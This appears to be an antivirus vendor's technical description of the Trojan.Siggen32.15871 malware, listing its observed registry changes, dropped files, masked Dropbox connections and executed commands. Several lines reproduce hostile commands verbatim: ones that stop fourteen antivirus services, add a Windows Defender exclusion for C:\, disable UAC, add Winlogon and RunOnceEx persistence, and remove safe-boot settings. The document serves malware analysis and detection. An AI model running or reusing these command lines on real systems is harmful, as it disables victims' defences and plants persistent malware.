Trojan.Siggen32.15871

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,,wscript.exe "%ALLUSERSPROFILE%\SystemSP\SystemSP\max.vbs"'

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

User Account Control (UAC)

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\', 'C:\cmd.exe', 'C:\conhost.exe', 'C:\cvtres.exe', '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSbuild.exe', '<SYSTEM32>\WindowsPowerShell\v1.0...

Executes the following

'<SYSTEM32>\net.exe' stop "Panda Security Service"
'<SYSTEM32>\net.exe' stop "MBAMService"
'<SYSTEM32>\net.exe' stop "Avast Antivirus"
'<SYSTEM32>\net.exe' stop "AvgSvc"
'<SYSTEM32>\net.exe' stop "ekrn"
'<SYSTEM32>\net.exe' stop "Norton Security"
'<SYSTEM32>\net.exe' stop "McShield"
'<SYSTEM32>\net.exe' stop "Sophos"
'<SYSTEM32>\net.exe' stop "Trend Micro"
'<SYSTEM32>\net.exe' stop "Zonelabs"
'<SYSTEM32>\net.exe' stop "F-Secure HIPS"
'<SYSTEM32>\net.exe' stop "GData Antivirus"
'<SYSTEM32>\net.exe' stop "DrWeb"
'<SYSTEM32>\net.exe' stop "ClamWin"

Modifies file system

Creates the following files

%ALLUSERSPROFILE%\archive.rar
%ALLUSERSPROFILE%\4zph2epuxw.vbs
%ALLUSERSPROFILE%\8ab9kzrzvy.bat
%ALLUSERSPROFILE%\txt1
%APPDATA%\winrar\version.dat
%ALLUSERSPROFILE%\systemsp\systemsp\babuchen.bat
%ALLUSERSPROFILE%\systemsp\systemsp\max.vbs
%ALLUSERSPROFILE%\systemsp\systemsp\rodendron.vbs
nul
%LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
%ALLUSERSPROFILE%\txt2

Network activity

Connects to

'dr##box.com':443
'uc#############a697b49d5e6a6.dl.dropboxusercontent.com':443

TCP

Other

'dr##box.com':443
'uc#############a697b49d5e6a6.dl.dropboxusercontent.com':443

UDP

DNS ASK dr##box.com
DNS ASK uc#############a697b49d5e6a6.dl.dropboxusercontent.com

Miscellaneous

Searches for the following windows

ClassName: 'WinRarWindow' WindowName: ''

Creates and executes the following

'<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\4ZpH2ePUXW.vbs
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\SystemSP\SystemSP\max.vbs"
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\SystemSP\SystemSP\max.vbs" /elevate

Executes the following

'<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\\8ab9kZRzvY.bat
'<SYSTEM32>\sc.exe' query Themes
'<SYSTEM32>\find.exe' "RUNNING"
'%ProgramFiles%\winrar\winrar.exe' x -pzoroz "%ALLUSERSPROFILE%\archive.rar" "%ALLUSERSPROFILE%\SystemSP\SystemSP\"
'<SYSTEM32>\timeout.exe' /t 2
'<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\SystemSP\SystemSP\babuchen.bat"
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v "RodendronLoader" /d "wscript.exe \"%ALLUSERSPROFILE%\SystemSP\SystemSP\rodendron.vbs\"" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\net1.exe' stop "Panda Security Service"
'<SYSTEM32>\net1.exe' stop "MBAMService"
'<SYSTEM32>\net1.exe' stop "Avast Antivirus"
'<SYSTEM32>\net1.exe' stop "AvgSvc"
'<SYSTEM32>\net1.exe' stop "ekrn"
'<SYSTEM32>\net1.exe' stop "Norton Security"
'<SYSTEM32>\net1.exe' stop "McShield"
'<SYSTEM32>\net1.exe' stop "Sophos"
'<SYSTEM32>\net1.exe' stop "Trend Micro"
'<SYSTEM32>\net1.exe' stop "Zonelabs"
'<SYSTEM32>\net1.exe' stop "F-Secure HIPS"
'<SYSTEM32>\net1.exe' stop "GData Antivirus"
'<SYSTEM32>\net1.exe' stop "DrWeb"
'<SYSTEM32>\net1.exe' stop "ClamWin"
'<SYSTEM32>\bcdedit.exe' /deletevalue {current} safeboot
'<SYSTEM32>\shutdown.exe' /r /t 5 /f
'<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\\8ab9kZRzvY.bat' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath 'C:\', 'C:\cmd.exe', 'C:\conhost.exe', 'C:\cvtres.exe', '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSbuild.exe', '<SYSTEM32>\WindowsPowerShell\v1.0...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\SystemSP\SystemSP\babuchen.bat"' (with hidden window)